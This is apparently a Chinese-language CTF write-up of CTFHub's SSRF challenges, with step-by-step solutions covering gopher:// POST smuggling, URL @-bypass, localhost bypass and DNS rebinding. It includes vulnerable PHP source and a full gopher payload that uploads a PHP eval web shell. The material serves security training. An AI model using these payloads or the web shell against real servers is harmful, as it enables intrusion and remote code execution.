1.内网访问
题目
尝试访问flag.php

简简单单
2.伪协议读取文件
题目
尝试去读取一下Web目录下的flag.php

访问并且查看源码
简单
3.端口扫描
题目
端口范围是8000-9000
根据提示对目标端口进行爆破



发现端口8310异常,访问,取得flag
4.POST请求
题目
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转
根据提目,分别访问302.php,flag.php,index.php
//PHP
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}
$flag=getenv("CTFHUB");
$key = md5($flag);
if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
//302
<?php
if(isset($_GET['url'])){
header("Location: {$_GET[‘url‘]}");
exit;
}
highlight_file(__FILE__);
//index
<?php
error_reporting(0);
if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);
根据flag.php的源码,我们使用gopher://协议进行传输
修改请求包相关信息如下
POST /flag.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded Content-Length: 36
key=e64d3284e9a8b1a4c3e3dcdf7d08a495
进行两次url编码后上传,得到flag
5.文件上传
题目
上传一个文件到flag.php
通过伪协议访问flag.php,发现没有提交按钮,自己补上
上传一句话木马文件,然后进行抓包,将抓到的包进行上一题的操作,得到结果如下
?url=gopher://127.0.0.1:80/_POST /flag.php HTTP/1.1%250d%250aHost: challenge-a9b240db05937d0d.sandbox.ctfhub.com:10800%250d%250aUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0%250d%250aAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8%250d%250aAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3%250d%250aAccept-Encoding: gzip, deflate%250d%250aReferer: http://challenge-a9b240db05937d0d.sandbox.ctfhub.com:10800%250d%250aDNT: 1%250d%250aConnection: close%250d%250aUpgrade-Insecure-Requests: 1%250d%250aContent-Type: multipart/form-data; boundary=---------------------------6494119058275%250d%250aContent-Length: 228%250d%250a%250d%250a-----------------------------6494119058275%250d%250aContent-Disposition: form-data; name="file"; filename="2.php"%250d%250aContent-Type: application/octet-stream%250d%250a%250d%250a
<?php @eval($_REQUEST[peak]);?>%250d%250a-----------------------------6494119058275--
6.URL bypass
题目
请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧
尝试使用?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
因为http://www.baidu.com@127.0.0.1 等于http://127.0.0.1
访问成功,取得flag
7.数字IP bypass
题目
这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢
localhost等同于127.0.0.1,所以访问localhost,取得flag
8.302跳转 Bypass
题目
SSRF中有个很重要的一点是请求可能会跟随302跳转,尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧
此题依旧可以使用localhost进行访问,取得flag
9.DNS重绑定 bypass
题目
DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助
使用file://协议查看inde.php和flag.php源码
可见,过滤了127、172、10、192等
通过该网页进行转换

使用下面的地址进行访问-----?url=7f000001.7f000002.rbndr.us/flag.php
取得flag
2434

被折叠的 条评论
为什么被折叠?



